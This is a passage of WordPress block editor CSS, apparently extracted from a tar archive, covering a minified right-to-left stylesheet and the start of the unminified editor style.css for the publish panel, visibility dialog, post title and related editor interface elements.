var(--wp-admin-theme-color);border-radius:0}.editor-post-locked-modal{height:auto;padding-left:10px;padding-right:10px;padding-top:10px;max-width:480px}.editor-post-locked-modal .components-modal__header{height:36px}.editor-post-locked-modal .components-modal__content{height:auto}.editor-post-locked-modal__buttons{margin-top:10px}.editor-post-locked-modal__buttons .components-button{margin-left:5px}.editor-post-locked-modal__avatar{float:right;margin:5px 5px 5px 15px}.editor-post-publish-button__button.has-changes-dot:before{background:currentcolor;border-radius:4px;content:"";height:8px;margin:auto -3px auto 5px;width:8px}.editor-post-publish-panel{background:#fff}.editor-post-publish-panel__content{min-height:calc(100% - 144px)}.editor-post-publish-panel__content .components-spinner{display:block;margin:100px auto 0}.editor-post-publish-panel__header{background:#fff;padding-right:16px;padding-left:16px;height:61px;border-bottom:1px solid #ddd;display:flex;align-items:center;align-content:space-between}.editor-post-publish-panel__header .components-button{width:100%;justify-content:center}.editor-post-publish-panel__header .has-icon{margin-right:auto;width:auto}.editor-post-publish-panel__header-cancel-button,.editor-post-publish-panel__header-publish-button{flex-grow:1}@media (min-width:480px){.editor-post-publish-panel__header-cancel-button,.editor-post-publish-panel__header-publish-button{max-width:160px}}.editor-post-publish-panel__header-publish-button{padding-left:4px}.editor-post-publish-panel__header-cancel-button{padding-right:4px}.editor-post-publish-panel__header-published{flex-grow:1}.editor-post-publish-panel__footer{padding:16px}.components-button.editor-post-publish-panel__toggle.is-primary{display:inline-flex;align-items:center}.components-button.editor-post-publish-panel__toggle.is-primary.is-busy .dashicon{display:none}.components-button.editor-post-publish-panel__toggle.is-primary .dashicon{margin-left:-4px}.editor-post-publish-panel__link{font-weight:400;padding-right:4px}.editor-post-publish-panel__prepublish{padding:16px}.editor-post-publish-panel__prepublish strong{color:#1e1e1e}.editor-post-publish-panel__prepublish .components-panel__body{background:#fff;margin-right:-16px;margin-left:-16px}.editor-post-publish-panel__prepublish .editor-post-visibility__dialog-legend{display:none}.post-publish-panel__postpublish .components-panel__body{border-bottom:1px solid #e0e0e0;border-top:none}.post-publish-panel__postpublish-buttons{display:flex;align-content:space-between;flex-wrap:wrap;margin:-5px}.post-publish-panel__postpublish-buttons>*{flex-grow:1;margin:5px}.post-publish-panel__postpublish-buttons .components-button{height:auto;justify-content:center;padding:3px 10px 4px;line-height:1.6;text-align:center;white-space:normal}.post-publish-panel__postpublish-buttons .components-clipboard-button{width:100%}.post-publish-panel__postpublish-post-address{margin-bottom:16px}.post-publish-panel__postpublish-post-address input[readonly]{padding:10px;background:#ddd;overflow:hidden;text-overflow:ellipsis}.post-publish-panel__postpublish-header{font-weight:500}.post-publish-panel__postpublish-subheader{margin:0 0 8px}.post-publish-panel__tip{color:#f0b849}.editor-post-saved-state{display:flex;align-items:center;width:28px;padding:12px 4px;color:#757575;overflow:hidden;white-space:nowrap}.editor-post-saved-state svg{display:inline-block;flex:0 0 auto;fill:currentColor;margin-left:8px}@media (min-width:600px){.editor-post-saved-state{width:auto;padding:8px 12px;text-indent:inherit}.editor-post-saved-state svg{margin-left:4px}}.editor-post-taxonomies__hierarchical-terms-list{max-height:14em;overflow:auto;margin-right:-6px;padding-right:6px;margin-top:-6px;padding-top:6px}.editor-post-taxonomies__hierarchical-terms-choice{margin-bottom:8px}.editor-post-taxonomies__hierarchical-terms-subchoices{margin-top:8px;margin-right:16px}.components-button.editor-post-taxonomies__hierarchical-terms-add,.components-button.editor-post-taxonomies__hierarchical-terms-submit{margin-top:12px}.editor-post-taxonomies__hierarchical-terms-label{display:inline-block;margin-top:12px}.editor-post-taxonomies__hierarchical-terms-input{margin-top:8px;width:100%}.editor-post-taxonomies__hierarchical-terms-filter{margin-bottom:8px;width:100%}.edit-post-text-editor__body textarea.editor-post-text-editor{border:1px solid #949494;border-radius:0;display:block;margin:0;width:100%;box-shadow:none;resize:none;overflow:hidden;font-family:Menlo,Consolas,monaco,monospace;line-height:2.4;min-height:200px;transition:border .1s ease-out,box-shadow .1s linear;padding:16px;font-size:16px!important}@media (prefers-reduced-motion:reduce){.edit-post-text-editor__body textarea.editor-post-text-editor{transition-duration:0s}}@media (min-width:600px){.edit-post-text-editor__body textarea.editor-post-text-editor{padding:24px;font-size:15px!important}}.edit-post-text-editor__body textarea.editor-post-text-editor:focus{border-color:#007cba;border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 2px #007cba;box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);position:relative}.edit-post-text-editor__body textarea.editor-post-text-editor::-webkit-input-placeholder{color:rgba(30,30,30,.62)}.edit-post-text-editor__body textarea.editor-post-text-editor::-moz-placeholder{color:rgba(30,30,30,.62);opacity:1}.edit-post-text-editor__body textarea.editor-post-text-editor:-ms-input-placeholder{color:rgba(30,30,30,.62)}.edit-post-post-visibility__dialog,.editor-post-visibility__dialog-fieldset{padding:0 4px 4px}.edit-post-post-visibility__dialog .editor-post-visibility__dialog-legend,.editor-post-visibility__dialog-fieldset .editor-post-visibility__dialog-legend{font-weight:600;margin-bottom:1em;margin-top:.5em;padding:0}.edit-post-post-visibility__dialog .editor-post-visibility__dialog-radio[type=radio],.editor-post-visibility__dialog-fieldset .editor-post-visibility__dialog-radio[type=radio]{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;padding:6px 8px;box-shadow:0 0 0 transparent;transition:box-shadow .1s linear;border-radius:2px;font-size:16px;line-height:normal;border:1px solid #1e1e1e;margin-left:12px;transition:none;border-radius:50%;width:24px;height:24px;margin-top:2px}@media (prefers-reduced-motion:reduce){.edit-post-post-visibility__dialog .editor-post-visibility__dialog-radio[type=radio],.editor-post-visibility__dialog-fieldset .editor-post-visibility__dialog-radio[type=radio]{transition-duration:0s}}@media (min-width:600px){.edit-post-post-visibility__dialog .editor-post-visibility__dialog-radio[type=radio],.editor-post-visibility__dialog-fieldset .editor-post-visibility__dialog-radio[type=radio]{font-size:13px;line-height:normal}}.edit-post-post-visibility__dialog .editor-post-visibility__dialog-radio[type=radio]:focus,.editor-post-visibility__dialog-fieldset .editor-post-visibility__dialog-radio[type=radio]:focus{border-color:#007cba;border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 1px #007cba;box-shadow:0 0 0 1px var(--wp-admin-theme-color)}.edit-post-post-visibility__dialog .editor-post-visibility__dialog-radio[type=radio]::-webkit-input-placeholder,.editor-post-visibility__dialog-fieldset .editor-post-visibility__dialog-radio[type=radio]::-webkit-input-placeholder{color:rgba(30,30,30,.62)}.edit-post-post-visibility__dialog .editor-post-visibility__dialog-radio[type=radio]::-moz-placeholder,.editor-post-visibility__dialog-fieldset .editor-post-visibility__dialog-radio[type=radio]::-moz-placeholder{opacity:1;color:rgba(30,30,30,.62)}.edit-post-post-visibility__dialog .editor-post-visibility__dialog-radio[type=radio]:-ms-input-placeholder,.editor-post-visibility__dialog-fieldset .editor-post-visibility__dialog-radio[type=radio]:-ms-input-placeholder{color:rgba(30,30,30,.62)}.is-dark-theme .edit-post-post-visibility__dialog .editor-post-visibility__dialog-radio[type=radio]::-webkit-input-placeholder,.is-dark-theme .editor-post-visibility__dialog-fieldset .editor-post-visibility__dialog-radio[type=radio]::-webkit-input-placeholder{color:hsla(0,0%,100%,.65)}.is-dark-theme .edit-post-post-visibility__dialog .editor-post-visibility__dialog-radio[type=radio]::-moz-placeholder,.is-dark-theme .editor-post-visibility__dialog-fieldset .editor-post-visibility__dialog-radio[type=radio]::-moz-placeholder{opacity:1;color:hsla(0,0%,100%,.65)}.is-dark-theme .edit-post-post-visibility__dialog .editor-post-visibility__dialog-radio[type=radio]:-ms-input-placeholder,.is-dark-theme .editor-post-visibility__dialog-fieldset .editor-post-visibility__dialog-radio[type=radio]:-ms-input-placeholder{color:hsla(0,0%,100%,.65)}@media (min-width:600px){.edit-post-post-visibility__dialog .editor-post-visibility__dialog-radio[type=radio],.editor-post-visibility__dialog-fieldset .editor-post-visibility__dialog-radio[type=radio]{height:20px;width:20px}}.edit-post-post-visibility__dialog .editor-post-visibility__dialog-radio[type=radio]:checked:before,.editor-post-visibility__dialog-fieldset .editor-post-visibility__dialog-radio[type=radio]:checked:before{width:8px;height:8px;transform:translate(-7px,7px);margin:0;background-color:#fff;border:4px solid #fff}@media (min-width:600px){.edit-post-post-visibility__dialog .editor-post-visibility__dialog-radio[type=radio]:checked:before,.editor-post-visibility__dialog-fieldset .editor-post-visibility__dialog-radio[type=radio]:checked:before{transform:translate(-5px,5px)}}.edit-post-post-visibility__dialog .editor-post-visibility__dialog-radio[type=radio]:focus,.editor-post-visibility__dialog-fieldset .editor-post-visibility__dialog-radio[type=radio]:focus{box-shadow:0 0 0 2px #fff,0 0 0 4px #007cba;box-shadow:0 0 0 2px #fff,0 0 0 4px var(--wp-admin-theme-color);outline:2px solid transparent}.edit-post-post-visibility__dialog .editor-post-visibility__dialog-radio[type=radio]:checked,.editor-post-visibility__dialog-fieldset .editor-post-visibility__dialog-radio[type=radio]:checked{background:#007cba;background:var(--wp-admin-theme-color);border-color:#007cba;border-color:var(--wp-admin-theme-color)}.edit-post-post-visibility__dialog .editor-post-visibility__dialog-label,.editor-post-visibility__dialog-fieldset .editor-post-visibility__dialog-label{font-weight:600}.edit-post-post-visibility__dialog .editor-post-visibility__dialog-info,.editor-post-visibility__dialog-fieldset .editor-post-visibility__dialog-info{margin-top:0;margin-right:32px}.edit-post-post-visibility__dialog .editor-post-visibility__choice:last-child .editor-post-visibility__dialog-info,.editor-post-visibility__dialog-fieldset .editor-post-visibility__choice:last-child .editor-post-visibility__dialog-info{margin-bottom:0}.editor-post-visibility__dialog-password .editor-post-visibility__dialog-password-input[type=text]{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;padding:6px 8px;box-shadow:0 0 0 transparent;transition:box-shadow .1s linear;border-radius:2px;border:1px solid #757575;font-size:16px;line-height:normal;margin-right:36px;margin-top:8px}@media (prefers-reduced-motion:reduce){.editor-post-visibility__dialog-password .editor-post-visibility__dialog-password-input[type=text]{transition-duration:0s}}@media (min-width:600px){.editor-post-visibility__dialog-password .editor-post-visibility__dialog-password-input[type=text]{font-size:13px;line-height:normal}}.editor-post-visibility__dialog-password .editor-post-visibility__dialog-password-input[type=text]:focus{border-color:#007cba;border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 1px #007cba;box-shadow:0 0 0 1px var(--wp-admin-theme-color);outline:2px solid transparent}.editor-post-visibility__dialog-password .editor-post-visibility__dialog-password-input[type=text]::-webkit-input-placeholder{color:rgba(30,30,30,.62)}.editor-post-visibility__dialog-password .editor-post-visibility__dialog-password-input[type=text]::-moz-placeholder{opacity:1;color:rgba(30,30,30,.62)}.editor-post-visibility__dialog-password .editor-post-visibility__dialog-password-input[type=text]:-ms-input-placeholder{color:rgba(30,30,30,.62)}.is-dark-theme .editor-post-visibility__dialog-password .editor-post-visibility__dialog-password-input[type=text]::-webkit-input-placeholder{color:hsla(0,0%,100%,.65)}.is-dark-theme .editor-post-visibility__dialog-password .editor-post-visibility__dialog-password-input[type=text]::-moz-placeholder{opacity:1;color:hsla(0,0%,100%,.65)}.is-dark-theme .editor-post-visibility__dialog-password .editor-post-visibility__dialog-password-input[type=text]:-ms-input-placeholder{color:hsla(0,0%,100%,.65)}.editor-post-title{position:relative}.editor-post-title .editor-post-title__input{display:block;width:100%;margin:0;box-shadow:none;background:transparent;transition:border .1s ease-out,box-shadow .1s linear;padding:19px 0;word-break:keep-all;font-family:inherit;color:inherit;border-color:transparent;border-style:solid;border-width:1px 0;border-radius:0;outline:1px solid transparent;font-size:2.44em;font-weight:800;line-height:1.4}@media (prefers-reduced-motion:reduce){.editor-post-title .editor-post-title__input{transition-duration:0s}}@media (min-width:600px){.editor-post-title .editor-post-title__input{border-width:1px}}.editor-post-title .editor-post-title__input::-webkit-input-placeholder{color:rgba(30,30,30,.62)}.editor-post-title .editor-post-title__input::-moz-placeholder{color:rgba(30,30,30,.62);opacity:1}.editor-post-title .editor-post-title__input:-ms-input-placeholder{color:rgba(30,30,30,.62)}.is-dark-theme .editor-post-title .editor-post-title__input::-webkit-input-placeholder{color:hsla(0,0%,100%,.65)}.is-dark-theme .editor-post-title .editor-post-title__input::-moz-placeholder{opacity:1;color:hsla(0,0%,100%,.65)}.is-dark-theme .editor-post-title .editor-post-title__input:-ms-input-placeholder{color:hsla(0,0%,100%,.65)}.editor-post-title .editor-post-title__input:focus{border:1px solid transparent;outline:1px solid transparent;box-shadow:none}.editor-post-title.is-focus-mode .editor-post-title__input{opacity:.5;transition:opacity .1s linear}@media (prefers-reduced-motion:reduce){.editor-post-title.is-focus-mode .editor-post-title__input{transition-duration:0s}}.editor-post-title.is-focus-mode .editor-post-title__input:focus{opacity:1}.editor-post-trash.components-button{margin-top:4px}.table-of-contents__popover.components-popover .components-popover__content{min-width:380px}.components-popover.table-of-contents__popover{z-index:99998}.table-of-contents__popover .components-popover__content>div{padding:16px}@media (min-width:600px){.table-of-contents__popover .components-popover__content{max-height:calc(100vh - 120px);overflow-y:auto}}.table-of-contents__popover hr{margin:10px -16px 0}.table-of-contents__wrapper:focus:before{content:"";display:block;position:absolute;top:0;left:0;bottom:0;right:0;box-shadow:inset 0 0 0 2px #007cba;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.table-of-contents__counts{display:flex;flex-wrap:wrap;margin:-8px 0 0}.table-of-contents__count{flex-basis:33%;display:flex;flex-direction:column;font-size:13px;color:#1e1e1e;padding-left:8px;margin-bottom:0;margin-top:8px}.table-of-contents__count:nth-child(4n){padding-left:0}.table-of-contents__number,.table-of-contents__popover .word-count{font-size:21px;font-weight:400;line-height:30px;color:#1e1e1e}.table-of-contents__title{display:block;margin-top:20px;font-size:15px;font-weight:600}.editor-template-validation-notice{display:flex;justify-content:space-between;align-items:center}.editor-template-validation-notice .components-button{margin-right:5px}css/dist/editor/style.css000064400000066252151202620300011441 0ustar00@charset "UTF-8"; /** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ /** * These are default block editor widths in case the theme doesn't provide them. */ :root { --wp-admin-theme-color: #007cba; --wp-admin-theme-color-darker-10: #006ba1; --wp-admin-theme-color-darker-20: #005a87; --wp-admin-border-width-focus: 2px; } @media (-webkit-min-device-pixel-ratio: 2), (min-resolution: 192dpi) { :root { --wp-admin-border-width-focus: 1.5px; } } .editor-autocompleters__user .editor-autocompleters__no-avatar::before { /* stylelint-disable */ font: normal 20px/1 dashicons; /* stylelint-enable */ content: ""; margin-right: 5px; vertical-align: middle; } .editor-autocompleters__user .editor-autocompleters__user-avatar { margin-right: 8px; flex-grow: 0; flex-shrink: 0; max-width: none; width: 24px; height: 24px; } .editor-autocompleters__user .editor-autocompleters__user-name { white-space: nowrap; text-overflow: ellipsis; overflow: hidden; max-width: 200px; flex-shrink: 0; flex-grow: 1; } .editor-autocompleters__user .editor-autocompleters__user-slug { margin-left: 8px; color: #757575; white-space: nowrap; text-overflow: ellipsis; overflow: none; max-width: 100px; flex-grow: 0; flex-shrink: 0; } .editor-autocompleters__user:hover .editor-autocompleters__user-slug { color: #007cba; color: var(--wp-admin-theme-color); } .document-outline { margin: 20px 0; } .document-outline ul { margin: 0; padding: 0; } .document-outline__item { display: flex; margin: 4px 0; } .document-outline__item a { text-decoration: none; } .document-outline__item .document-outline__emdash::before { color: #ddd; margin-right: 4px; } .document-outline__item.is-h2 .document-outline__emdash::before { content: "—"; } .document-outline__item.is-h3 .document-outline__emdash::before { content: "——"; } .document-outline__item.is-h4 .document-outline__emdash::before { content: "———"; } .document-outline__item.is-h5 .document-outline__emdash::before { content: "————"; } .document-outline__item.is-h6 .document-outline__emdash::before { content: "—————"; } .document-outline__button { cursor: pointer; background: none; border: none; display: flex; align-items: flex-start; margin: 0 0 0 -1px; padding: 2px 5px 2px 1px; color: #1e1e1e; text-align: left; border-radius: 2px; } .document-outline__button:disabled { cursor: default; } .document-outline__button:focus { box-shadow: 0 0 0 2px #007cba; box-shadow: 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); outline: 2px solid transparent; } .document-outline__level { background: #ddd; color: #1e1e1e; border-radius: 3px; font-size: 13px; padding: 1px 6px; margin-right: 4px; } .is-invalid .document-outline__level { background: #f0b849; } .document-outline__item-content { padding: 1px 0; } .components-editor-notices__dismissible { position: -webkit-sticky; position: sticky; top: 0; right: 0; color: #1e1e1e; } .components-editor-notices__pinned { position: relative; left: 0; top: 0; right: 0; color: #1e1e1e; } .components-editor-notices__dismissible .components-notice, .components-editor-notices__pinned .components-notice { box-sizing: border-box; margin: 0; border-bottom: 1px solid rgba(0, 0, 0, 0.2); padding: 0 12px; min-height: 60px; } .components-editor-notices__dismissible .components-notice .components-notice__dismiss, .components-editor-notices__pinned .components-notice .components-notice__dismiss { margin-top: 12px; } .components-editor-notices__snackbar { width: 100%; } @media (min-width: 782px) { .components-editor-notices__snackbar { width: -webkit-fit-content; width: -moz-fit-content; width: fit-content; } } .entities-saved-states__panel { box-sizing: border-box; background: #fff; position: fixed; z-index: 100001; top: 46px; bottom: 0; right: 0; left: 0; overflow: auto; box-sizing: border-box; } .entities-saved-states__panel *, .entities-saved-states__panel *::before, .entities-saved-states__panel *::after { box-sizing: inherit; } .entities-saved-states__panel .entities-saved-states__find-entity { display: none; } .entities-saved-states__panel .entities-saved-states__find-entity-small { display: block; } @media (min-width: 782px) { .entities-saved-states__panel { top: 32px; left: auto; width: 280px; border-left: 1px solid #ddd; } body.is-fullscreen-mode .entities-saved-states__panel { top: 0; } .entities-saved-states__panel .entities-saved-states__find-entity { display: block; } .entities-saved-states__panel .entities-saved-states__find-entity-small { display: none; } } .entities-saved-states__panel .entities-saved-states__panel-header { background: #fff; padding-left: 8px; padding-right: 8px; height: 61px; border-bottom: 1px solid #ddd; display: flex; align-items: center; align-content: space-between; } .entities-saved-states__panel .entities-saved-states__panel-header .editor-entities-saved-states__save-button { margin: auto; } .entities-saved-states__panel .entities-saved-states__panel-header .components-button.has-icon { position: absolute; right: 8px; } .entities-saved-states__panel .entities-saved-states__text-prompt { padding: 16px; padding-bottom: 4px; } .editor-error-boundary { margin: auto; max-width: 780px; padding: 20px; margin-top: 60px; box-shadow: 0 3px 30px rgba(0, 0, 0, 0.2); } .editor-page-attributes__template { margin-bottom: 10px; } .editor-page-attributes__template label, .editor-page-attributes__template select { width: 100%; } .editor-page-attributes__order { width: 100%; } .editor-page-attributes__order .components-base-control__field { display: flex; justify-content: space-between; align-items: center; } .editor-page-attributes__order input { width: 66px; } .editor-post-excerpt__textarea { width: 100%; margin-bottom: 10px; } .editor-post-featured-image { padding: 0; } .editor-post-featured-image__container { margin-bottom: 1em; position: relative; } .editor-post-featured-image .components-spinner { position: absolute; top: 50%; left: 50%; margin-top: -9px; margin-left: -9px; } .editor-post-featured-image .components-button + .components-button { display: block; margin-top: 1em; } .editor-post-featured-image .components-responsive-wrapper__content { max-width: 100%; width: auto; } .editor-post-featured-image__toggle, .editor-post-featured-image__preview { display: block; width: 100%; padding: 0; transition: all 0.1s ease-out; box-shadow: 0 0 0 0 #007cba; box-shadow: 0 0 0 0 var(--wp-admin-theme-color); } @media (prefers-reduced-motion: reduce) { .editor-post-featured-image__toggle, .editor-post-featured-image__preview { transition-duration: 0s; } } .editor-post-featured-image__preview { height: auto; } .editor-post-featured-image__preview:not(:disabled):not([aria-disabled=true]):focus { box-shadow: 0 0 0 4px #007cba; box-shadow: 0 0 0 4px var(--wp-admin-theme-color); } .editor-post-featured-image__toggle { border-radius: 2px; background-color: #f0f0f0; min-height: 90px; line-height: 20px; padding: 8px 0; text-align: center; } .editor-post-featured-image__toggle:hover { background: #ddd; color: #1e1e1e; } .editor-post-format { flex-direction: column; align-items: stretch; width: 100%; } .editor-post-format__content { display: inline-flex; justify-content: space-between; align-items: center; width: 100%; } .editor-post-format__suggestion { text-align: right; font-size: 13px; } .editor-post-last-revision__title { width: 100%; font-weight: 600; } .editor-post-last-revision__title .dashicon { margin-right: 5px; } .components-button.editor-post-last-revision__title { height: 100%; } .components-button.editor-post-last-revision__title:hover, .components-button.editor-post-last-revision__title:active { background: #f0f0f0; } .components-button.editor-post-last-revision__title:focus { box-shadow: inset 0 0 0 2px #007cba; box-shadow: inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); border-radius: 0; } .editor-post-locked-modal { height: auto; padding-right: 10px; padding-left: 10px; padding-top: 10px; max-width: 480px; } .editor-post-locked-modal .components-modal__header { height: 36px; } .editor-post-locked-modal .components-modal__content { height: auto; } .editor-post-locked-modal__buttons { margin-top: 10px; } .editor-post-locked-modal__buttons .components-button { margin-right: 5px; } .editor-post-locked-modal__avatar { float: left; margin: 5px; margin-right: 15px; } .editor-post-publish-button__button.has-changes-dot::before { background: currentcolor; border-radius: 4px; content: ""; height: 8px; margin: auto 5px auto -3px; width: 8px; } .editor-post-publish-panel { background: #fff; } .editor-post-publish-panel__content { min-height: calc(100% - 144px); } .editor-post-publish-panel__content .components-spinner { display: block; margin: 100px auto 0; } .editor-post-publish-panel__header { background: #fff; padding-left: 16px; padding-right: 16px; height: 61px; border-bottom: 1px solid #ddd; display: flex; align-items: center; align-content: space-between; } .editor-post-publish-panel__header .components-button { width: 100%; justify-content: center; } .editor-post-publish-panel__header .has-icon { margin-left: auto; width: auto; } .editor-post-publish-panel__header-publish-button, .editor-post-publish-panel__header-cancel-button { flex-grow: 1; } @media (min-width: 480px) { .editor-post-publish-panel__header-publish-button, .editor-post-publish-panel__header-cancel-button { max-width: 160px; } } .editor-post-publish-panel__header-publish-button { padding-right: 4px; } .editor-post-publish-panel__header-cancel-button { padding-left: 4px; } .editor-post-publish-panel__header-published { flex-grow: 1; } .editor-post-publish-panel__footer { padding: 16px; } .components-button.editor-post-publish-panel__toggle.is-primary { display: inline-flex; align-items: center; } .components-button.editor-post-publish-panel__toggle.is-primary.is-busy .dashicon { display: none; } .components-button.editor-post-publish-panel__toggle.is-primary .dashicon { margin-right: -4px; } .editor-post-publish-panel__link { font-weight: 400; padding-left: 4px; } .editor-post-publish-panel__prepublish { padding: 16px; } .editor-post-publish-panel__prepublish strong { color: #1e1e1e; } .editor-post-publish-panel__prepublish .components-panel__body { background: #fff; margin-left: -16px; margin-right: -16px; } .editor-post-publish-panel__prepublish .editor-post-visibility__dialog-legend { display: none; } .post-publish-panel__postpublish .components-panel__body { border-bottom: 1px solid #e0e0e0; border-top: none; } .post-publish-panel__postpublish-buttons { display: flex; align-content: space-between; flex-wrap: wrap; margin: -5px; } .post-publish-panel__postpublish-buttons > * { flex-grow: 1; margin: 5px; } .post-publish-panel__postpublish-buttons .components-button { height: auto; justify-content: center; padding: 3px 10px 4px; line-height: 1.6; text-align: center; white-space: normal; } .post-publish-panel__postpublish-buttons .components-clipboard-button { width: 100%; } .post-publish-panel__postpublish-post-address { margin-bottom: 16px; } .post-publish-panel__postpublish-post-address input[readonly] { padding: 10px; background: #ddd; overflow: hidden; text-overflow: ellipsis; } .post-publish-panel__postpublish-header { font-weight: 500; } .post-publish-panel__postpublish-subheader { margin: 0 0 8px; } .post-publish-panel__tip { color: #f0b849; } .editor-post-saved-state { display: flex; align-items: center; width: 28px; padding: 12px 4px; color: #757575; overflow: hidden; white-space: nowrap; } .editor-post-saved-state svg { display: inline-block; flex: 0 0 auto; fill: currentColor; margin-right: 8px; } @media (min-width: 600px) { .editor-post-saved-state { width: auto; padding: 8px 12px; text-indent: inherit; } .editor-post-saved-state svg { margin-right: 4px; } } .editor-post-taxonomies__hierarchical-terms-list { max-height: 14em; overflow: auto; margin-left: -6px; padding-left: 6px; margin-top: -6px; padding-top: 6px; } .editor-post-taxonomies__hierarchical-terms-choice { margin-bottom: 8px; } .editor-post-taxonomies__hierarchical-terms-subchoices { margin-top: 8px; margin-left: 16px; } .components-button.editor-post-taxonomies__hierarchical-terms-submit, .components-button.editor-post-taxonomies__hierarchical-terms-add { margin-top: 12px; } .editor-post-taxonomies__hierarchical-terms-label { display: inline-block; margin-top: 12px; } .editor-post-taxonomies__hierarchical-terms-input { margin-top: 8px; width: 100%; } .editor-post-taxonomies__hierarchical-terms-filter { margin-bottom: 8px; width: 100%; } .edit-post-text-editor__body textarea.editor-post-text-editor { border: 1px solid #949494; border-radius: 0; display: block; margin: 0; width: 100%; box-shadow: none; resize: none; overflow: hidden; font-family: Menlo, Consolas, monaco, monospace; line-height: 2.4; min-height: 200px; transition: border 0.1s ease-out, box-shadow 0.1s linear; padding: 16px; /* Fonts smaller than 16px causes mobile safari to zoom. */ font-size: 16px !important; } @media (prefers-reduced-motion: reduce) { .edit-post-text-editor__body textarea.editor-post-text-editor { transition-duration: 0s; } } @media (min-width: 600px) { .edit-post-text-editor__body textarea.editor-post-text-editor { padding: 24px; } } @media (min-width: 600px) { .edit-post-text-editor__body textarea.editor-post-text-editor { font-size: 15px !important; } } .edit-post-text-editor__body textarea.editor-post-text-editor:focus { border-color: #007cba; border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 2px #007cba; box-shadow: 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); position: relative; } .edit-post-text-editor__body textarea.editor-post-text-editor::-webkit-input-placeholder { color: rgba(30, 30, 30, 0.62); } .edit-post-text-editor__body textarea.editor-post-text-editor::-moz-placeholder { color: rgba(30, 30, 30, 0.62); opacity: 1; } .edit-post-text-editor__body textarea.editor-post-text-editor:-ms-input-placeholder { color: rgba(30, 30, 30, 0.62); } .edit-post-post-visibility__dialog, .editor-post-visibility__dialog-fieldset { padding: 4px; padding-top: 0; } .edit-post-post-visibility__dialog .editor-post-visibility__dialog-legend, .editor-post-visibility__dialog-fieldset .editor-post-visibility__dialog-legend { font-weight: 600; margin-bottom: 1em; margin-top: 0.5em; padding: 0; } .edit-post-post-visibility__dialog .editor-post-visibility__dialog-radio[type=radio], .editor-post-visibility__dialog-fieldset .editor-post-visibility__dialog-radio[type=radio] { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; padding: 6px 8px; box-shadow: 0 0 0 transparent; transition: box-shadow 0.1s linear; border-radius: 2px; border: 1px solid #757575; /* Fonts smaller than 16px causes mobile safari to zoom. */ font-size: 16px; /* Override core line-height. To be reviewed. */ line-height: normal; border: 1px solid #1e1e1e; margin-right: 12px; transition: none; border-radius: 50%; width: 24px; height: 24px; margin-top: 2px; } @media (prefers-reduced-motion: reduce) { .edit-post-post-visibility__dialog .editor-post-visibility__dialog-radio[type=radio], .editor-post-visibility__dialog-fieldset .editor-post-visibility__dialog-radio[type=radio] { transition-duration: 0s; } } @media (min-width: 600px) { .edit-post-post-visibility__dialog .editor-post-visibility__dialog-radio[type=radio], .editor-post-visibility__dialog-fieldset .editor-post-visibility__dialog-radio[type=radio] { font-size: 13px; /* Override core line-height. To be reviewed. */ line-height: normal; } } .edit-post-post-visibility__dialog .editor-post-visibility__dialog-radio[type=radio]:focus, .editor-post-visibility__dialog-fieldset .editor-post-visibility__dialog-radio[type=radio]:focus { border-color: #007cba; border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 1px #007cba; box-shadow: 0 0 0 1px var(--wp-admin-theme-color); outline: 2px solid transparent; } .edit-post-post-visibility__dialog .editor-post-visibility__dialog-radio[type=radio]::-webkit-input-placeholder, .editor-post-visibility__dialog-fieldset .editor-post-visibility__dialog-radio[type=radio]::-webkit-input-placeholder { color: rgba(30, 30, 30, 0.62); } .edit-post-post-visibility__dialog .editor-post-visibility__dialog-radio[type=radio]::-moz-placeholder, .editor-post-visibility__dialog-fieldset .editor-post-visibility__dialog-radio[type=radio]::-moz-placeholder { opacity: 1; color: rgba(30, 30, 30, 0.62); } .edit-post-post-visibility__dialog .editor-post-visibility__dialog-radio[type=radio]:-ms-input-placeholder, .editor-post-visibility__dialog-fieldset .editor-post-visibility__dialog-radio[type=radio]:-ms-input-placeholder { color: rgba(30, 30, 30, 0.62); } .is-dark-theme .edit-post-post-visibility__dialog .editor-post-visibility__dialog-radio[type=radio]::-webkit-input-placeholder, .is-dark-theme .editor-post-visibility__dialog-fieldset .editor-post-visibility__dialog-radio[type=radio]::-webkit-input-placeholder { color: rgba(255, 255, 255, 0.65); } .is-dark-theme .edit-post-post-visibility__dialog .editor-post-visibility__dialog-radio[type=radio]::-moz-placeholder, .is-dark-theme .editor-post-visibility__dialog-fieldset .editor-post-visibility__dialog-radio[type=radio]::-moz-placeholder { opacity: 1; color: rgba(255, 255, 255, 0.65); } .is-dark-theme .edit-post-post-visibility__dialog .editor-post-visibility__dialog-radio[type=radio]:-ms-input-placeholder, .is-dark-theme .editor-post-visibility__dialog-fieldset 